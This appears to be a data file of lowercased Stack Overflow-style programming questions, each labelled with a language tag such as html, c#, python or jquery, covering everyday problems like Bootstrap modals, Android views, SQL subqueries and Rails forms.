how can i use an anchor tag to open a modal page   i have an anchor tag in my navbar which i d like to use to open up a modal form as a helper page. i have used the default w3schools modal form just to test it it works. however nothing opens  i know it has something to do with the href. but i m just not sure how to point the href to a modal form.    html:   <pre><code> &lt;div class= collapse navbar-collapse  id= pagenavigation &gt;                         &lt;ul class= nav navbar-nav  id= navigationlinks &gt;                             &lt;li&gt;@html.actionlink( dashboard    index    dashboard       new { @class =  mainnavtext   @id =  mainnavdashboard  })&lt;/li&gt;                             &lt;li&gt;@html.actionlink( export    index    dashboard       new { @class =  mainnavtext   @id =  mainnavexport  })&lt;/li&gt;                             &lt;li&gt;&lt;a data-target= #mymodel  data-toggle= modal  class= mainnavtext  id= mainnavhelp &gt;help&lt;/a&gt;&lt;/li&gt;                          &lt;/ul&gt;                         @html.partial( _loginpartial )                     &lt;/div&gt;    &lt;div id= mymodal  class= modal fade  role= dialog &gt;         &lt;div class= modal-dialog &gt;              &lt;!-- modal content--&gt;             &lt;div class= modal-content &gt;                 &lt;div class= modal-header &gt;                     &lt;button type= button  class= close  data-dismiss= modal &gt;&amp;times;&lt;/button&gt;                     &lt;h4 class= modal-title &gt;modal header&lt;/h4&gt;                 &lt;/div&gt;                 &lt;div class= modal-body &gt;                     &lt;p&gt;some text in the modal.&lt;/p&gt;                 &lt;/div&gt;                 &lt;div class= modal-footer &gt;                     &lt;button type= button  class= btn btn-default  data-dismiss= modal &gt;close&lt;/button&gt;                 &lt;/div&gt;             &lt;/div&gt;          &lt;/div&gt;     &lt;/div&gt; </code></pre>   how can i do this,html
how can i use forms for pull-down navigation menus   how can i use forms for pull-down navigation menus,html
span vertical align top inside table  i have a span which is inside a table and inside div. i want this span to appear at top of page    below is the code   <pre><code> &lt;table width= 100% &gt;     &lt;tr valign= middle &gt;         &lt;td width= 50%  align= center  height= 700 &gt;             &lt;div id= divalert  runat= server  style= font-size: 26px; text-align: center; vertical-align: middle; &gt;               &lt;span&gt;please try back after some time&lt;/span&gt;             &lt;/div&gt;         &lt;/td&gt;     &lt;/tr&gt; &lt;/table&gt; </code></pre>   i know that if i give vertical-align property to td the span will appear at the top of page. but is there any way i can specify some property to span which will move the text inside span to top of page.    i want to achieve this only by adding some property to span.,css
how to display a random item from an array when the user performs a click  i have an array with 5 elements  i want to display a random item from this list every time the user clicks the button.   <pre><code>@override protected void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.activity_main);      final textview textview = (textview) findviewbyid(r.id.textview);     final list&lt;string&gt; list = new arraylist&lt;&gt;();      list.add( item 1 );     list.add( item 2 );     list.add( item 3 );     list.add( item 4 );     list.add( item 5 ); </code></pre>   i tried this:   <pre><code>    final button button = (button) findviewbyid(r.id.button);     button.setonclicklistener(new view.onclicklistener() {         public void onclick(view v) {              random random = new random();             int index = random.nextint(list.size());             textview.settext(getstring(index));          }     }); </code></pre>   but i got an error on click:   <pre><code>fatal exception: main                                                              process: activfy.activfy  pid: 18639                                                              android.content.res.resources$notfoundexception: string resource id #0x72                                                                  at android.content.res.resources.gettext(resources.java:250)                                                                  at android.content.res.resources.getstring(resources.java:336)                                                                  at android.content.context.getstring(context.java:345)                                                                  at activfy.activfy.mainactivity$1.onclick(mainactivity.java:159) </code></pre>,android
c# how to bold one character in a word   i m new to c#.    i have a datagridview  which gives me this output  among other things:   <blockquote>    1000|66|eg|36|0003|an1 |  </blockquote>   i read this results from a xml file.    is there any way to get just the pipes <strong>|</strong> bold in the dgv     <strong>edit:</strong>    i don t want to bold a word  just the pipe and it s always the pipe  so i thougt i can  save / fix  the pipe | and say that is always has to be bold,c#
how to show sql statements in rails console like webrick   rails webrick shows raw sql statements for any activerecord activities. how to enable that in the console,ruby-on-rails
using extern for static variables  i m seeing something odd when i run some code that uses the extern keyword to reference a static variable within the implementation file.  so i declare the static variable gcounter within my implementation file and reference it within two methods in the same implementation file (because its static).  however  when i use the extern keyword in my methods i get different results.  my understanding (from reading my book) is that extern isn t necessary when you re referencing a static variable declared in the same file as your methods.  code is as follows:    /** interface **/   <pre><code>#import &lt;foundation/foundation.h&gt;  @interface fraction : nsobject  +(fraction *) allocf; +(int) count;  @end  /**implementation**/  #import  fraction.h   static int gcounter;  @implementation fraction  +(fraction *) allocf {     extern int gcounter;     ++gcounter;      return [fraction alloc]; }  +(int)count {     extern int gcounter;     return gcounter;   }  @end  /**main**/ #import  fraction.h   int main (int argc  const char * argv[]) {      @autoreleasepool     {      fraction *a  *b  *c;      nslog(@ the number of fractions allocated: %i   [fraction count]);      a = [[fraction allocf] init];      b = [[fraction allocf] init];      c = [[fraction allocf] init];       nslog(@ the number of fractions allocated: %i   [fraction count]);      }      return(0);  } </code></pre>   when i use the extern keyword in my methods  the code works properly and results in the integer 3 being printed.  however  when i remove extern  the integer 2 gets printed.  why is that   since gcounter is a static variable  shouldn t this work without the extern keyword,objective-c
removeallviews does not work on viewgroup  this function is my function    <pre><code>private void previewcapturedimage(){      log.d( childcount    content child count before:  + mselectedimagescontainer.getchildcount());     mselectedimagescontainer.removeallviews();     log.d( childcount    content child count after:  + mselectedimagescontainer.getchildcount());     iterator&lt;uri&gt; iterator = mmedia.iterator();     imageinternalfetcher imagefetcher = new imageinternalfetcher(this  500);     while (iterator.hasnext()) {         uri uri = iterator.next();          // showimage(uri);         log.i(tag    uri:   + uri);         if (mmedia.size() &gt;= 1) {             mselectedimagescontainer.setvisibility(view.visible);         }          view imageholder = layoutinflater.from(this).inflate(r.layout.media_layout  null);          // view removebtn = imageholder.findviewbyid(r.id.remove_media);         // initremovebtn(removebtn  imageholder  uri);         imageview thumbnail = (imageview) imageholder.findviewbyid(r.id.media_image);          if (!uri.tostring().contains( content:// )) {             // probably a relative uri             uri = uri.fromfile(new file(uri.tostring()));         }          imagefetcher.loadimage(uri  thumbnail);          mselectedimagescontainer.addview(imageholder);          // set the dimension to correctly         // show the image thumbnail.         int wdpx = (int) typedvalue.applydimension(typedvalue.complex_unit_dip  150  getresources().getdisplaymetrics());         int htpx = (int) typedvalue.applydimension(typedvalue.complex_unit_dip  100  getresources().getdisplaymetrics());         thumbnail.setlayoutparams(new framelayout.layoutparams(wdpx  htpx));     } } </code></pre>   in the second line <code>mselectedimagescontainer.removeallviews()</code>  i am trying to clear the view of all existing children views. but it is not working as expected.    so basically this parent container mselectedimagescontainer has a horizonal list of images that was passed from one more activity.    also the output of the logging is accurate  it clears all the childviews but for some reason main activity still shows the old images that were previously selected in the viewgroup.    if anything else is needed please let me know. i have not posted the full code since it s quite large. anyways  if needed i can post it here with the xml s.    just an info  i am working on a <code>poly-clicker</code> library  for the image picker and a custom scroll view for images.    <strong>screenshots</strong>    1) here i selected 2 images    <a href= https://i.stack.imgur.com/0zqn7.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/0zqn7.jpg  alt= enter image description here ></a>    2) and these images displayed perfectly in the scroll view    <a href= https://i.stack.imgur.com/qxtc9.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/qxtc9.jpg  alt= enter image description here ></a>    3) now i selected a different set of images i.stack.imgur.com/sw5hz.jpg     <a href= https://i.stack.imgur.com/sw5hz.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/sw5hz.jpg  alt= enter image description here ></a>    4) however  the first selection is still not cleared from the view i.stack.imgur.com/lkovi.jpg    <a href= https://i.stack.imgur.com/lkovi.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/lkovi.jpg  alt= enter image description here ></a>,android
list.except not using custom equals function <pre><code>public class eq : iequatable&lt;eq&gt;     {         public string s1;         public string s2;         public override bool equals(object obj)         {             if (obj == null) return false;             eq o = obj as eq;             if (o == null) return false;             return equals(o);         }         public bool equals(eq o)         {             if (s1==o.s1 &amp;&amp; s2==o.s2)                 return true;             return false;         }         public eq (string a string b)         {             s1 = a;             s2 = b;         }     }     class program     {         static void main(string[] args)         {             list&lt;eq&gt; l1 = new list&lt;eq&gt;();             list&lt;eq&gt; l2 = new list&lt;eq&gt;();             l1.add(new eq( 1    1 ));             l1.add(new eq( 2    2 ));             l1.add(new eq( 3    3 ));             l2.add(new eq( 3    3 ));             l2.add(new eq( 1    1 ));             var b= l1.contains(new eq( 1    1 ));             var v = l1.except(l2);         }     } </code></pre>   the <code>l1.contains</code> statement calls the custom function and returns the expected result    <code>l1.except</code> does not result in a call to the custom function and returns the entire contents of <code>l1</code>    is there a way to accomplish this without writing loops explicitly,c#
dynamically retrieving values of a list object using properties as other object values  i have two objects  1)   <pre><code>        public class emaildata         {                    public int id { get; set; }         public string urn { get; set; }         public string filebase { get; set; }         public string emailfrom { get; set; }         public string emailto { get; set; }         public string emailsubject { get; set; }         public string contenttype { get; set; }         public int size { get; set; }     } </code></pre>   2)   <pre><code>  list&lt;indexnames&gt; emailindex = new list&lt;indexnames&gt;()         {             new indexnames             {                 indexdescription =  urn                   indexname =  urn                   indexnumber = 1             }              new indexnames         {             indexdescription =  emailfrom               indexname =  emailfrom               indexnumber = 2         }             new indexnames         {             indexdescription =  emailto               indexname =  emailto               indexnumber = 3         }          }; </code></pre>   i have the <strong>list &lt; emaildata></strong>  with values.    how can i retrieve values(urn  emailfrom  emailto) from the list &lt; emaildata> whose property names are dynamically used from the 2nd(emailindex) list urn  emailfrom  emailto.    if a 4 emailindex is added assume    <pre><code>       new indexnames         {             indexdescription =  emailsubject               indexname =  emailsubject               indexnumber = 4         } </code></pre>   i should dynamically get the 4 property values (urn emailfrom emailto emailsubject) from list,c#
including a vector of objects within an object  using reference  i am trying to establish the relationship between two different classes with my code. i have a class object and a class interface. the object class can hold any number of interfaces  of which i have chosen to store within a vector of unique pointers.    my object class definition is:   <pre><code>#ifndef base_object #define base_object  #include &lt;vector&gt; #include &lt;memory&gt;  #include  ./interface.hxx   class object { /*****************     properties ******************/ //general std::string objecttype;  //interfaces - all objects have at least one sender or receiver //(otherwise it does nothing) //senders typedef std::vector&lt;std::unique_ptr&lt;interface&gt;&gt; senders;  //receivers typedef std::vector&lt;std::unique_ptr&lt;interface&gt;&gt; receivers;  /**********************     member functions **********************/ public:     //standard constructor     object(void);      //copy constructor     object(const object&amp; from);      //virtual destructor     virtual ~object(void);      //add an interface     void add_interface(std::string type); };  #endif </code></pre>   i haven t included my interface class  as it doesn t define anything as yet. when trying to add an interface to my object  i call the following routine from my main function:   <pre><code>//add interface to object myobject-&gt;add_interface( sender ); </code></pre>   which calls the routine add_interface:   <pre><code>//add an interface to the object void object::add_interface(std::string type) { if (type.compare( sender )){     auto intf = std::unique_ptr&lt;interface&gt;(new interface);     this-&gt;senders.push_back(std::move(intf)); } else if (type.compare( receiver )){     auto intf = std::unique_ptr&lt;interface&gt;(new interface);     this-&gt;receivers.push_back(std::move(intf)); } else{     //throw exception } } </code></pre>   currently within visual studio express  the  senders  and  receivers  is highlighted with the warning  error: type name is not allowed   and upon compilation i get the following error:     function-style cast : illegal as right side of -> operator.    i am new to smart pointers and oop  so i am not really sure what i am doing wrong here. can anyone please explain my mistake  many thanks in advance.,c++
how to terminate python programming process without deleting a file  i am beginner to python and i have a question which is i run the python program which is a program for saving a log file from gz format into csv format  but unfortunately when i try to terminate the program  i terminate the program forcefully  which makes the file not to be written in my computer  so how to terminate manually without deleting a file. below is my code:   <pre><code># list of all gz files gz_files = (gz for gz in glob.glob(os.path.join(gz_dir   *.gz )))  # loop through all gz files for gz_file in gz_files:     sql_file = gz_file[:-3]     sql_file = sql_file[:-4] +  .csv      with open(sql_file   wb ) as out_file:         with gzip.open(gz_file   rb ) as in_file:             while true:                 chunk = in_file.read(1024)                 if not chunk:                     break                 out_file.write(chunk)      # step 2: import to sql     import_sql(out_file  db_host  db_user  db_pass  db_name)      # step 3: remove uncompresed file     # os.remove(sql_file)      # step 4: in loop  back to step 1 automatically for another gz files </code></pre>,python
how to align banner image+text to the main site   i want to position the banner photo+text in <a href= http://forum.emile-coue.org  rel= nofollow >http://forum.emile-coue.org</a> same way as in my drupal site: <a href= http://www.emile-coue.org  rel= nofollow >http://www.emile-coue.org</a>.<br /> i tried but could not do it. what ll be the simplest way to achieve it without changing the banner in the second drupal site,css
angular subsequent modules working  in this example why isn t the 2nd module working     <a href= http://jsfiddle.net/u3pvm/19999/  rel= nofollow >jsfiddle example</a>.    html   <pre><code>&lt;div ng-app= my.app  ng-controller= mycontroller &gt;     hello {{ test }} &lt;/div&gt;  &lt;div ng-app= my.app2  ng-controller= mycontroller2 &gt;     hello {{ test2 }} &lt;/div&gt; </code></pre>   javascript   <pre><code>var myapp = angular.module( my.app   []); var myapp2 = angular.module( my.app2   []);  myapp.controller( mycontroller   function($scope) {       $scope.test =  bob ; });  myapp2.controller( mycontroller2   function($scope) {       $scope.test2 =  bob ; }); </code></pre>   result   <blockquote>    hello bob         hello {{ test2 }}  </blockquote>,angularjs
"trying to use datetimepicker with bootstrap  not working. uncaught typeerror: $(...).datetimepicker is not a function  i looked at the answers to the other questions and tried various solutions but nothing worked.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;!doctype html&gt;
 &lt;html lang= en &gt;
 
 &lt;head&gt;
     &lt;meta charset= utf-8 &gt;
     &lt;meta http-equiv= x-ua-compatible  content= ie=edge &gt;
     &lt;meta name= viewport  content= width=device-width  initial-scale=1 &gt;
     &lt;!-- the above 3 meta tags *must* come first in the head; any other head content must come *after* these tags --&gt;
     &lt;title&gt;call report generator&lt;/title&gt;
 
     &lt;!-- jquery (necessary for bootstrap s javascript plugins) --&gt;
     &lt;script src= https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js &gt;&lt;/script&gt;
     &lt;script src= https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js &gt;&lt;/script&gt;
 
     &lt;!-- bootstrap --&gt;
     &lt;!-- latest compiled and minified css --&gt;
     &lt;link rel= stylesheet  href= https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css  integrity= sha384-bvyiisifek1dgmjrakycuhahrg32omucww7on3rydg4va+pmstsz/k68vbdejh4u  crossorigin= anonymous &gt;
     &lt;link rel= stylesheet  href= https://cdnjs.cloudflare.com/ajax/libs/bootstrap-datetimepicker/4.17.37/css/bootstrap-datetimepicker.min.css  /&gt;
 
     &lt;!-- optional theme --&gt;
     &lt;link rel= stylesheet  href= https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap-theme.min.css  integrity= sha384-rhyon1irsvxv4nd0jutlngaslcjuc7uwjduw9svrlvryoopp2bwygmgjqixwl/sp  crossorigin= anonymous &gt;
     &lt;link rel= stylesheet  href= main.css &gt;
 
     &lt;!-- latest compiled and minified javascript --&gt;
     &lt;script src= https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js  integrity= sha384-tc5iqib027qvyjsmfhjomalkfuwvxzxupncja7l2mcwnipg9mgcd8wgnicpd7txa  crossorigin= anonymous &gt;&lt;/script&gt;
 
     &lt;!-- html5 shim and respond.js for ie8 support of html5 elements and media queries --&gt;
     &lt;!-- warning: respond.js doesn t work if you view the page via file:// --&gt;
     &lt;!--[if lt ie 9]&gt;
       &lt;script src= https://oss.maxcdn.com/html5shiv/3.7.3/html5shiv.min.js &gt;&lt;/script&gt;
       &lt;script src= https://oss.maxcdn.com/respond/1.4.2/respond.min.js &gt;&lt;/script&gt;
     &lt;![endif]--&gt;
 &lt;/head&gt;
 
 &lt;body&gt;
 
     &lt;div class= heading &gt;
         &lt;h1 align= center &gt;call report generator &lt;/h1&gt;
     &lt;/div&gt;
 
     &lt;div class= nav &gt;
         &lt;div class= container &gt;
             &lt;ul class= pull-left &gt;
                 &lt;li&gt;&lt;a href= # &gt;home&lt;/a&gt;&lt;/li&gt;
             &lt;/ul&gt;
             &lt;ul class= pull-right &gt;
                 &lt;li&gt;&lt;a href= # &gt;help&lt;/a&gt;&lt;/li&gt;
             &lt;/ul&gt;
         &lt;/div&gt;
     &lt;/div&gt;
 
     &lt;div class= container-fluid &gt;
         &lt;!-- if needed left and right padding in  md  and  lg  screen means use container class --&gt;
         &lt;div class= row &gt;
             &lt;div class= col-xs-4 col-sm-4 col-md-4 col-lg-4 &gt;
                 &lt;a href= # &gt;start date&lt;/a&gt;
                 &lt;div class= container &gt;
                     &lt;div class= row &gt;
                         &lt;div class= col-sm-4 &gt;
                             &lt;div class= form-group &gt;
                                 &lt;div class= input-group date  id= datetimepicker1 &gt;
                                     &lt;input type= text  class= form-control  /&gt;
                                     &lt;span class= input-group-addon &gt;
        &lt;span class= glyphicon glyphicon-calendar &gt;&lt;/span&gt;
                                     &lt;/span&gt;
                                 &lt;/div&gt;
                             &lt;/div&gt;
                         &lt;/div&gt;
                     &lt;/div&gt;
                 &lt;/div&gt;
             &lt;/div&gt;
 
             &lt;div class= col-xs-4 col-sm-4 col-md-4 col-lg-4 &gt;
                 &lt;a href= # &gt;end date&lt;/a&gt;
             &lt;/div&gt;
             &lt;div class= col-xs-4 col-sm-4 col-md-4 col-lg-4 &gt;
                 &lt;a href= # &gt;provider&lt;/a&gt;
             &lt;/div&gt;
         &lt;/div&gt;
     &lt;/div&gt;
 
 &lt;/body&gt;
 
 &lt;script type= text/javascript &gt;
     $(function() {
         $( #datetimepicker1 ).datetimepicker();
     });
 &lt;/script&gt;
 
 &lt;/html&gt;</code></pre>
 </div>
 </div>
     i tried to look at other solution for the this question stated earlier and tried different solutions but nothing worked.",jquery
what went wrong with my get and set properties   please i need help. i code with pycharm and it keeps showing me unresolved reference  model .  parameter  model  value is not used and getter signature should be (self). please how do i get around this.   <pre><code>class productobject:     def __init__(self  product  brand  car  model  year):         self.product = product         self.brand = brand         self.car = car         self.model = model         self.year = year      def set_product(self  product):         self.product = product.capitalize()      def get_product(self):         return self.product     product = property(get_product  set_product)      def set_brand(self  brand):         self.brand = brand.title()      def get_brand(self):         return self.brand     brand = property(get_brand  set_brand)      def set_car(self  car):         self.car = car.title()      def get_car(self):         return self.car     car = property(get_car  set_car)      def set_model(self):         self.model = model.title()      def get_model(self  model):         return self.model     model = property(get_model  set_model)      def set_year(self):         self.year = year.int()      def get_year(self  year):         return self.year     year = property(get_year  set_year) </code></pre>,python
how to debug this sql query   i run this code and it does not work (i am expecting a result set but i do not get one):   <pre><code>select e.employee_id e.first_name e.last_name e.salary d.department_name l.city from employees e  join departments d on e.department_id = d.department_id join locations l on l.location_id = d.location_id where e.salary = select max(salary) from employees where hire_date between  2002-01-01  and  2003-12-31 ; </code></pre>   however if i run the queries   <pre><code>select max(salary) from employees where hire_date between  2002-01-01  and  2003-12-31 ; </code></pre>   and    <pre><code>select e.employee_id e.first_name e.last_name e.salary d.department_name l.city from employees e  join departments d on e.department_id = d.department_id join locations l on l.location_id = d.location_id where e.salary = 24000.00 </code></pre>   they run fine. <code>max(salary)</code> from the second query is 24000.00.    this is the website where i am trying to practice (question no 34) <a href= https://www.w3resource.com/sql-exercises/sql-subqueries-exercises.php  rel= nofollow noreferrer >https://www.w3resource.com/sql-exercises/sql-subqueries-exercises.php</a>,sql
c++ unpack/unbox class method arguments  i have a a bunch of subclasses each with static class factory methods of varying argument numbers and types  and would also like to instantiate them from data loaded via a json data file using <a href= http://jsoncpp.sourceforge.net/  rel= nofollow noreferrer >jsonpp</a>.    so say i ll have an array of json::value objects for the arguments  is there a smart way  using macros or something in c++ to create alternate proxy methods that accepts the json::value array and calls the original method  e.g.)   <pre><code>foo* foo::create(int a  const char* b) { /* ... */ } foo* foo::create(json::value args) { //the json::value args represents an array value here     // can i avoid having to manually create each of these json methods      return foo::create(args[0].asint()  args[1].ascstring()); } </code></pre>   sorry  my c++ is still getting up to speed. i ve found a few topics that seem to deal with unpacking tuple arguments for example    <ul> <li><a href= https://stackoverflow.com/questions/10766112/c11-i-can-go-from-multiple-args-to-tuple-but-can-i-go-from-tuple-to-multiple lq=1 >c++11: i can go from multiple args to tuple  but can i go from tuple to multiple args </a></li> <li><a href= https://stackoverflow.com/questions/687490/how-do-i-expand-a-tuple-into-variadic-template-functions-arguments >how do i expand a tuple into variadic template function&#39;s arguments </a></li> <li><a href= https://stackoverflow.com/questions/11044504/any-solution-to-unpack-a-vector-to-function-arguments-in-c >any solution to unpack a vector to function arguments in c++ </a></li> </ul>   but i am unsure of which approach to proceed with. thanks for the help,c++
is it possible usb debugging when install apple os on vmware virtual machine   i am new to ios developments. i do not have a apple computer so i decided to install apple os in virtual machine.     i want to know is it possible plug ipad and load my testing projects or any other projects directly from xcode      i did not find proper solution for this when i searched through the internet.,ios
how to successfully print out deck of 52 cards and 5 hands of non-repeating cards   i want to fill and print out the deck of 52 cards  and then print out 5 hands of 5 non-repeating cards successfully  but then it doesn t work. how would i be able to fix that     code:   <pre><code> #include &lt;stdio.h&gt;  #include &lt;stdlib.h&gt;  #include &lt;time.h&gt;   /* handy typedefs */  typedef unsigned char card;  typedef unsigned char pairs;   /* arrays for the names of things */  static char *suits[4] = { hearts   diamonds   clubs   spades };  static char *values[13]= { ace   two   three   four   five   six  /                          seven   eight   nine   ten   jack   queen   king };  static char *colour[]= { black   red };  int main() {   card deck[52][24] *deckp;   int s  c  a;    for (s = 0; s &lt; 4; s++)   {     for(c = 0; c &lt; 13; c++)     {        sprintf(deck[(s * c) + c]   %s of %s   values[c]  suits[s]);     }   }    for(a = 0; a &lt; 52; a++)   {     printf( %s\n   deck[a]);   }    int hand cd winner;    int irand;   int i;   int irand;    srand(time(null));       /* seed the random number generator */    for(cd=0;cd&lt;5;cd++)   {      for(hand=0;hand&lt;5;hand++)     {       /* deal the hands here */      }   }    for (hand=0;hand&lt;5;hand++)   {     printf( hand %i:\n  hand+1 );     for ( i = 0; i &lt; 5; i++) {       irand = (rand() % 52);       printf(  %s \n    deck[irand]);     }   }   /* determine the winner and print it */   return 0; }  void filldeck(card deck[52]) {   return; }  void shuffle(card deck[52]) {   int i rnd;   card c;    for(i=0;i&lt;52;i++)   {     /* generate a random number between 0 &amp; 51 */     rnd=rand() * 52.0 / rand_max;     c = deck[i];     deck[i] = deck[rnd];     deck[rnd] = c;   } } </code></pre>,c
sort an array of cgpoints based on external point  i have an array of cgpoints and would like to sort it based on the closest distance to an external point. i have done the following but it returns incorrect results.   <pre><code>nsarray *sortedarray = [self.availablerenderpoints sortedarrayusingcomparator:^nscomparisonresult(nsvalue *obj1  nsvalue *obj2) {     cgpoint p1 = [obj1 cgpointvalue];     cgpoint p2 = [obj2 cgpointvalue];      cgfloat distance1 = ccpdistance(startpoint  p1);     cgfloat distance2 = ccpdistance(startpoint  p2);      if (distance1 &lt;= distance2) return p1.y &lt; p2.y;     if (distance2 &lt;= distance1) return p2.y &lt; p1.y;      return p1.x &lt; p2.x; }]; </code></pre>   how can this be sorted based on closest distance to startpoint,objective-c
inconsistent jquery behaviour  i have an unusual javascript problem  i have a javascript problem that alternately refuses to work. basically  on the first click  the jquery function works as it should  deleting the table row  and redrawing the table rows:   <pre><code>$( .deleterow ).click(function(e){                 if(confirm( this will delete the selected week. are you sure  )){                     $.ajax({                         type:  post                           url:  http://localhost/todo/index.php/home/ajax_delete                           data: { page_id : $(this).attr( id ) }                          success: tableredraw                          datatype:  html                      })                 };                 e.preventdefault();               }) </code></pre>   however  if i click the button that triggers this again  it doesnt work. instead of going through the javascript function  it follows the link (designed for non javascript mode). i cant understand this unusual behaviour  i might have thought that it was caused by the jquery source not being available (for some unknown reason) but i have another function that adds rows to the table  that can be used many times in succession with no problems:   <pre><code>$( #addrow ).click(function(e){                 $.ajax({                         type:  post                           url:  http://localhost/todo/index.php/home/ajax_add                           success: tableredraw                          datatype:  html                      })                 e.preventdefault();               })             }) </code></pre>   any help would be hugely appreciated.,jquery
any fundamental difference between source and header files in c   i don t quite understand how things should be separated in c s source and header files. i often see many projects with two sets of files with the same name (sans the extension denoting source and header files).    so far  from this lack of understanding  when i ve written libraries  i ve chucked all the class and class method code into one file  with indecision as to choosing the file extension.    what should be in headers and what should be in the source files  how do i implement this separation,c
php google weather error handling issue  i have a php script that interacts with the google weather api.everything works ok  but if i test it with a false location like  blahblah  i get a slew of errors in the browser despite having some validation in my script.  the php code is as follows:    <pre><code>    &lt; php          function googleweather($location){          $url =  http://www.google.com/ig/api weather=  . urlencode($location);          $xml = simplexml_load_file($url);           $current_conditions = $xml-&gt;xpath( /xml_api_reply/weather/current_conditions );          $temp_c = $current_conditions[0]-&gt;temp_c[ data ];         $temp_f = $current_conditions[0]-&gt;temp_f[ data ];          $result = sprintf( current temperature is %s&amp;deg; celsius %s&amp;deg;    fahrenheit  $temp_c $temp_f);          return $result;              }          $loc =  blahblah ;         $goog = googleweather($loc);          if($goog == false){            echo  an error occurred ;            }            else{            echo $goog;                 }       &gt; </code></pre>  <hr>   the error that is rendered in the browser is as follows:    <pre><code>( ! ) notice: undefined offset: 0 in c:\wamp2\www\phpacademy\googleweatherapi\tmp5c2a1z4emd.php on line 11 call stack #   time    memory  function    location 1   0.1086  370080  {main}( )   ..\tmp5c2a1z4emd.php:0 2   0.1086  370184  googleweather( )    ..\tmp5c2a1z4emd.php:23  ( ! ) notice: trying to get property of non-object in c:\wamp2\www\phpacademy\googleweatherapi\tmp5c2a1z4emd.php on line 11 call stack #   time    memory  function    location 1   0.1086  370080  {main}( )   ..\tmp5c2a1z4emd.php:0 2   0.1086  370184  googleweather( )    ..\tmp5c2a1z4emd.php:23  ( ! ) notice: undefined offset: 0 in c:\wamp2\www\phpacademy\googleweatherapi\tmp5c2a1z4emd.php on line 12 call stack #   time    memory  function    location 1   0.1086  370080  {main}( )   ..\tmp5c2a1z4emd.php:0 2   0.1086  370184  googleweather( )    ..\tmp5c2a1z4emd.php:23  ( ! ) notice: trying to get property of non-object in c:\wamp2\www\phpacademy\googleweatherapi\tmp5c2a1z4emd.php on line 12 call stack #   time    memory  function    location 1   0.1086  370080  {main}( )   ..\tmp5c2a1z4emd.php:0 2   0.1086  370184  googleweather( )    ..\tmp5c2a1z4emd.php:23 </code></pre>,php
values of a book saved from amazon have {:value=>  } around it  i m making an application where the user can search amazon (with vacuum) through my application for books  then be able to record the data of the book to their library.     when you search for a book  it goes through every result and puts each in a thumbnail. in every thumbnail there is a button that opens a modal with a form with hidden tags. when the user clicks the submit button  the book s title is saved into a new book. the only problem is that the title is saved like <code>{:value=&gt; the title of the book that was saved }</code>    here is the part of new.html.erb which has the search box:   <pre><code>&lt;%= form_tag({controller:  books   action:  new }  method:  get   id:  search-form ) do %&gt;           &lt;%= text_field_tag :keywords  params[:keywords]  placeholder:  search for a book   class:  form-control  %&gt;         &lt;% end %&gt; </code></pre>   here is the part of new.html.erb which has the hidden form:   <pre><code>&lt;% @results.each do |result| %&gt;   … &lt;%= form_for @book do |f|%&gt;                         &lt;%= hidden_field_tag :title  class:  form-control   value: result.name %&gt;                      &lt;%= f.submit  add book   class:  btn btn-default green-hover  %&gt;                  &lt;% end %&gt;     …     &lt;% end %&gt; </code></pre>   here are the new and create actions in my controller:   <pre><code>def new     @book = current_user.books.build if logged_in       # search actions     if params[:keywords]         request = vacuum.new      request.configure(       aws_access_key_id: env[ aws_access_key_id ]        aws_secret_access_key: env[ aws_secret_access_key ]        associate_tag:  my associate tag is here      )     keywords = params[:keywords]     params = {        searchindex  =&gt;  books          keywords =&gt; keywords         responsegroup  =&gt;  itemattributes images      }      raw_results = request.item_search(query: params)     hashed_results = raw_results.to_h      @results = []      hashed_results[ itemsearchresponse ][ items ][ item ].each do |item|       result = openstruct.new       result.title = item[ itemattributes ][ title ]       result.url = item[ detailpageurl ]       result.image_url = item[ mediumimage ][ url ]       result.author = item[ itemattributes ][ author ]       result.pages = item[ itemattributes ][ numberofpages ]       @results &lt;&lt; result      end   end end  def create     @book = @list.books.build(book_params)     if @book.save         flash[:success] = @book.title +  was added to your log.          redirect_to list_path(@book.list_id)     else         render  books/new      end end </code></pre>   i tried to use gsub within <code>book.rb</code> to fix it  but that only changed the text within the flash message and it still saved as  <code>{:value=&gt; the title of the book that was saved }</code>.   <pre><code>after_create :init  private def init   puts  init was called!    self.title.gsub!( {:value=&gt;       )   self.title.gsub!(  }      ) end </code></pre>   how can i change it so that it doesn t save the title with the <code>{:value=&gt;}</code> around it,ruby-on-rails
conversion from char * to uint8_t *  i am a bit at a loss as to why the compiler doesn t throw any kind of warning.   <pre><code>int32_t callback winmain(hinstance hinstance  hinstance hprevinstance  lpstr lpcmdline  int32_t ncmdshow) {   //.. } </code></pre>   above is my windows specific main function. note that <code>lpcmdline</code> parameter has type <code>lpstr</code> which a <code>typedef</code> for a <code>char *</code>.     now  i have defined a function with the following prototype:   <pre><code>void com_parsecmdline(uint8_t *lpcmdline); </code></pre>   when i pass my <code>lpcmdline</code> variable into this function  it operates as expected and gives the correct results  because command line characters are 8 bits and positive in decimal value.     however  i am somewhat surprised that the compiler doesn t warn against the fact that we are potentially losing the sign if we deference a <code>uint8_t *</code> vs a <code>char *</code>.,c
is list good than array in c#  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/434761/array-versus-listt-when-to-use-which >array versus list&lt;t&gt;: when to use which </a>    </blockquote>     i.e    <pre><code>// ex1 ilist&lt;string&gt; list  // ex2 string[] str </code></pre>   the list can init without length  but when i need read it  is it good as array     and can i make all <code>string[]</code> instead of <code>ilist&lt;string&gt;</code>     are there anything can array make done but list,c#
